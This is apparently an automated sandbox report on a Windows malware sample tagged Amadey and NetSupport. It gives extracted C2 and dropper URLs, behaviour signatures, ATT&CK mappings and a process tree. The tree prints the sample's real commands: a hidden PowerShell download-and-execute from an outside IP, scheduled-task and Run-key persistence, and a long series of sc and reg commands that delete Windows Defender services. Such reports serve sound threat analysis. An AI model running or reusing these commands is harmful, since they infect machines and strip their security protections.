Overview

overview

10

Static

static

5

2025-03-26...er.exe

windows7-x64

10

2025-03-26...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/03/2025, 20:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2025-03-26_5e99ec97d34bb83636fe2723f425039a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
  • Size 938KB
  • Sample250326-y6djksstdv
  • SHA256 6bf9d670867f760a8d74df58fe46b3761f5a028b337bd76a8802402b57a846be
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeynetsupport092155defense_evasiondiscoveryexecutionexploitpersistenceratspywarestealertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://176.113.115.7/mine/random.exe

Extracted

Family

  • amadey

Version

  • 5.21

Botnet

  • 092155

C2

  • http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

    ratnetsupport
  • Netsupport family
    netsupport
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 9 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 18 IoCs
  • Identifies Wine through registry keys 2 TTPs 6 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 6 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 19 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:3040
      • C:\Windows\SysWOW64\fontdrvhost.exe
        "C:\Windows\System32\fontdrvhost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2184
      • C:\Windows\SysWOW64\fontdrvhost.exe
        "C:\Windows\System32\fontdrvhost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2972
    • C:\Users\Admin\AppData\Local\Temp\2025-03-26_5e99ec97d34bb83636fe2723f425039a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
      "C:\Users\Admin\AppData\Local\Temp\2025-03-26_5e99ec97d34bb83636fe2723f425039a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
      1⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4700
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /create /tn LralkmaRuVA /tr "mshta C:\Users\Admin\AppData\Local\Temp\08FvuMAEp.hta" /sc minute /mo 25 /ru "Admin" /f
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2464
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn LralkmaRuVA /tr "mshta C:\Users\Admin\AppData\Local\Temp\08FvuMAEp.hta" /sc minute /mo 25 /ru "Admin" /f
          3⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4888
      • C:\Windows\SysWOW64\mshta.exe
        mshta C:\Users\Admin\AppData\Local\Temp\08FvuMAEp.hta
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4004
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'MIKXBIV7GKCV0UVABNFFYTNMHVDQAVR9.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2472
          • C:\Users\Admin\AppData\Local\TempMIKXBIV7GKCV0UVABNFFYTNMHVDQAVR9.EXE
            "C:\Users\Admin\AppData\Local\TempMIKXBIV7GKCV0UVABNFFYTNMHVDQAVR9.EXE"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:1060
            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
              "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Downloads MZ/PE file
              • Checks BIOS information in registry
              • Checks computer location settings
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4464
              • C:\Users\Admin\AppData\Local\Temp\10338870101\TbV75ZR.exe
                "C:\Users\Admin\AppData\Local\Temp\10338870101\TbV75ZR.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4504
                • C:\Windows\SysWOW64\CMD.exe
                  "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3252
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3140
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /I "opssvc wrsa"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4320
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1276
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:688
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c md 267978
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:3856
                  • C:\Windows\SysWOW64\extrac32.exe
                    extrac32 /Y /E Spanish.vss
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1296
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /V "East" Removed
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4184
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1440
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2364
                  • C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
                    Exam.com j
                    8⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:4928
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 904
                      9⤵
                      • Program crash
                      PID:2924
                  • C:\Windows\SysWOW64\choice.exe
                    choice /d y /t 5
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4004
              • C:\Users\Admin\AppData\Local\Temp\10340260101\30234249fb.exe
                "C:\Users\Admin\AppData\Local\Temp\10340260101\30234249fb.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:4048
              • C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe
                "C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:752
                • C:\Windows\SysWOW64\CMD.exe
                  "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:4072
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4944
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /I "opssvc wrsa"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1112
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2952
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1492
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c md 267978
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1824
                  • C:\Windows\SysWOW64\extrac32.exe
                    extrac32 /Y /E Spanish.vss
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2768
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2184
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1440
                  • C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
                    Exam.com j
                    8⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:5108
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 5108 -s 912
                      9⤵
                      • Program crash
                      PID:2532
                  • C:\Windows\SysWOW64\choice.exe
                    choice /d y /t 5
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4412
              • C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe
                "C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:3996
              • C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe
                "C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4440
                • C:\Users\Admin\AppData\Local\Temp\11.exe
                  "C:\Users\Admin\AppData\Local\Temp\11.exe"
                  7⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2576
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\65CA.tmp\65CB.tmp\65CC.bat C:\Users\Admin\AppData\Local\Temp\11.exe"
                    8⤵
                      PID:3572
                      • C:\Users\Admin\AppData\Local\Temp\11.exe
                        "C:\Users\Admin\AppData\Local\Temp\11.exe" go
                        9⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:2164
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\677F.tmp\6780.tmp\6781.bat C:\Users\Admin\AppData\Local\Temp\11.exe go"
                          10⤵
                          • Drops file in Program Files directory
                          PID:3472
                          • C:\Windows\system32\sc.exe
                            sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                            11⤵
                            • Launches sc.exe
                            PID:2288
                          • C:\Windows\system32\sc.exe
                            sc start ddrver
                            11⤵
                            • Launches sc.exe
                            PID:4916
                          • C:\Windows\system32\timeout.exe
                            timeout /t 1
                            11⤵
                            • Delays execution with timeout.exe
                            PID:724
                          • C:\Windows\system32\sc.exe
                            sc stop ddrver
                            11⤵
                            • Launches sc.exe
                            PID:1492
                          • C:\Windows\system32\sc.exe
                            sc start ddrver
                            11⤵
                            • Launches sc.exe
                            PID:1540
                          • C:\Windows\system32\takeown.exe
                            takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                            11⤵
                            • Possible privilege escalation attempt
                            • Modifies file permissions
                            PID:4168
                          • C:\Windows\system32\icacls.exe
                            icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                            11⤵
                            • Possible privilege escalation attempt
                            • Modifies file permissions
                            PID:1512
                          • C:\Windows\system32\sc.exe
                            sc stop "WinDefend"
                            11⤵
                            • Launches sc.exe
                            PID:652
                          • C:\Windows\system32\sc.exe
                            sc delete "WinDefend"
                            11⤵
                            • Launches sc.exe
                            PID:4024
                          • C:\Windows\system32\reg.exe
                            reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                            11⤵
                              PID:2768
                            • C:\Windows\system32\sc.exe
                              sc stop "MDCoreSvc"
                              11⤵
                              • Launches sc.exe
                              PID:1460
                            • C:\Windows\system32\sc.exe
                              sc delete "MDCoreSvc"
                              11⤵
                              • Launches sc.exe
                              PID:4768
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                              11⤵
                                PID:2648
                              • C:\Windows\system32\sc.exe
                                sc stop "WdNisSvc"
                                11⤵
                                • Launches sc.exe
                                PID:3024
                              • C:\Windows\system32\sc.exe
                                sc delete "WdNisSvc"
                                11⤵
                                • Launches sc.exe
                                PID:2976
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                                11⤵
                                  PID:2796
                                • C:\Windows\system32\sc.exe
                                  sc stop "Sense"
                                  11⤵
                                  • Launches sc.exe
                                  PID:2924
                                • C:\Windows\system32\sc.exe
                                  sc delete "Sense"
                                  11⤵
                                  • Launches sc.exe
                                  PID:804
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                                  11⤵
                                    PID:2412
                                  • C:\Windows\system32\sc.exe
                                    sc stop "wscsvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:4020
                                  • C:\Windows\system32\sc.exe
                                    sc delete "wscsvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:5056
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                    11⤵
                                    • Modifies security service
                                    PID:3972
                                  • C:\Windows\system32\sc.exe
                                    sc stop "SgrmBroker"
                                    11⤵
                                    • Launches sc.exe
                                    PID:4284
                                  • C:\Windows\system32\sc.exe
                                    sc delete "SgrmBroker"
                                    11⤵
                                    • Launches sc.exe
                                    PID:3512
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                    11⤵
                                      PID:512
                                    • C:\Windows\system32\sc.exe
                                      sc stop "SecurityHealthService"
                                      11⤵
                                      • Launches sc.exe
                                      PID:4756
                                    • C:\Windows\system32\sc.exe
                                      sc delete "SecurityHealthService"
                                      11⤵
                                      • Launches sc.exe
                                      PID:2772
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                      11⤵
                                        PID:5016
                                      • C:\Windows\system32\sc.exe
                                        sc stop "webthreatdefsvc"
                                        11⤵
                                        • Launches sc.exe
                                        PID:2828
                                      • C:\Windows\system32\sc.exe
                                        sc delete "webthreatdefsvc"
                                        11⤵
                                        • Launches sc.exe
                                        PID:4004
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                        11⤵
                                          PID:2656
                                        • C:\Windows\system32\sc.exe
                                          sc stop "webthreatdefusersvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:4528
                                        • C:\Windows\system32\sc.exe
                                          sc delete "webthreatdefusersvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:3596
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                          11⤵
                                            PID:4256
                                          • C:\Windows\system32\sc.exe
                                            sc stop "WdNisDrv"
                                            11⤵
                                            • Launches sc.exe
                                            PID:3400
                                          • C:\Windows\system32\sc.exe
                                            sc delete "WdNisDrv"
                                            11⤵
                                            • Launches sc.exe
                                            PID:2360
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                            11⤵
                                              PID:4664
                                            • C:\Windows\system32\sc.exe
                                              sc stop "WdBoot"
                                              11⤵
                                              • Launches sc.exe
                                              PID:3892
                                            • C:\Windows\system32\sc.exe
                                              sc delete "WdBoot"
                                              11⤵
                                              • Launches sc.exe
                                              PID:3124
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                              11⤵
                                                PID:2668
                                              • C:\Windows\system32\sc.exe
                                                sc stop "WdFilter"
                                                11⤵
                                                • Launches sc.exe
                                                PID:4872
                                              • C:\Windows\system32\sc.exe
                                                sc delete "WdFilter"
                                                11⤵
                                                • Launches sc.exe
                                                PID:4320
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                                11⤵
                                                  PID:4104
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "SgrmAgent"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:4980
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "SgrmAgent"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:4944
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                                  11⤵
                                                    PID:2288
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "MsSecWfp"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:1112
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "MsSecWfp"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:3884
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                    11⤵
                                                      PID:4844
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop "MsSecFlt"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:392
                                                    • C:\Windows\system32\sc.exe
                                                      sc delete "MsSecFlt"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:3728
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                      11⤵
                                                        PID:4168
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "MsSecCore"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:1336
                                                      • C:\Windows\system32\sc.exe
                                                        sc delete "MsSecCore"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:2244
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                        11⤵
                                                          PID:3664
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                          11⤵
                                                            PID:3672
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                            11⤵
                                                              PID:4024
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                              11⤵
                                                                PID:2008
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                                11⤵
                                                                  PID:4840
                                                                • C:\Windows\system32\sc.exe
                                                                  sc stop ddrver
                                                                  11⤵
                                                                  • Launches sc.exe
                                                                  PID:4848
                                                                • C:\Windows\system32\sc.exe
                                                                  sc delete ddrver
                                                                  11⤵
                                                                  • Launches sc.exe
                                                                  PID:1400
                                                      • C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe"
                                                        6⤵
                                                        • Checks computer location settings
                                                        • Executes dropped EXE
                                                        • System Location Discovery: System Language Discovery
                                                        PID:1540
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2756
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
                                                            8⤵
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            PID:3472
                                                          • C:\Users\Public\Netstat\bild.exe
                                                            C:\Users\Public\Netstat\bild.exe
                                                            8⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            • Suspicious use of FindShellTrayWindow
                                                            PID:4448
                                                      • C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:3104
                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:1564
                                                      • C:\Users\Admin\AppData\Local\Temp\10343250101\oalJJxv.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10343250101\oalJJxv.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • System Location Discovery: System Language Discovery
                                                        PID:1656
                                            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                              C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                              1⤵
                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                              • Checks BIOS information in registry
                                              • Executes dropped EXE
                                              • Identifies Wine through registry keys
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4832
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4928 -ip 4928
                                              1⤵
                                                PID:4692
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5108 -ip 5108
                                                1⤵
                                                  PID:916
                                                • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                  C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                  1⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:4664
                                                • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                  C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                  1⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:2796

                                                Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Reconnaissance

                                                      Resource Development

                                                      Initial Access

                                                      Execution

                                                      Command and Scripting Interpreter

                                                      1
                                                      T1059

                                                      PowerShell

                                                      1
                                                      T1059.001

                                                      Scheduled Task/Job

                                                      1
                                                      T1053

                                                      Scheduled Task

                                                      1
                                                      T1053.005

                                                      System Services

                                                      2
                                                      T1569

                                                      Service Execution

                                                      2
                                                      T1569.002

                                                      Persistence

                                                      Boot or Logon Autostart Execution

                                                      1
                                                      T1547

                                                      Registry Run Keys / Startup Folder

                                                      1
                                                      T1547.001

                                                      Create or Modify System Process

                                                      3
                                                      T1543

                                                      Windows Service

                                                      3
                                                      T1543.003

                                                      Scheduled Task/Job

                                                      1
                                                      T1053

                                                      Scheduled Task

                                                      1
                                                      T1053.005

                                                      Privilege Escalation

                                                      Boot or Logon Autostart Execution

                                                      1
                                                      T1547

                                                      Registry Run Keys / Startup Folder

                                                      1
                                                      T1547.001

                                                      Create or Modify System Process

                                                      3
                                                      T1543

                                                      Windows Service

                                                      3
                                                      T1543.003

                                                      Scheduled Task/Job

                                                      1
                                                      T1053

                                                      Scheduled Task

                                                      1
                                                      T1053.005

                                                      Defense Evasion

                                                      File and Directory Permissions Modification

                                                      1
                                                      T1222

                                                      Impair Defenses

                                                      1
                                                      T1562

                                                      Modify Registry

                                                      2
                                                      T1112

                                                      Virtualization/Sandbox Evasion

                                                      2
                                                      T1497

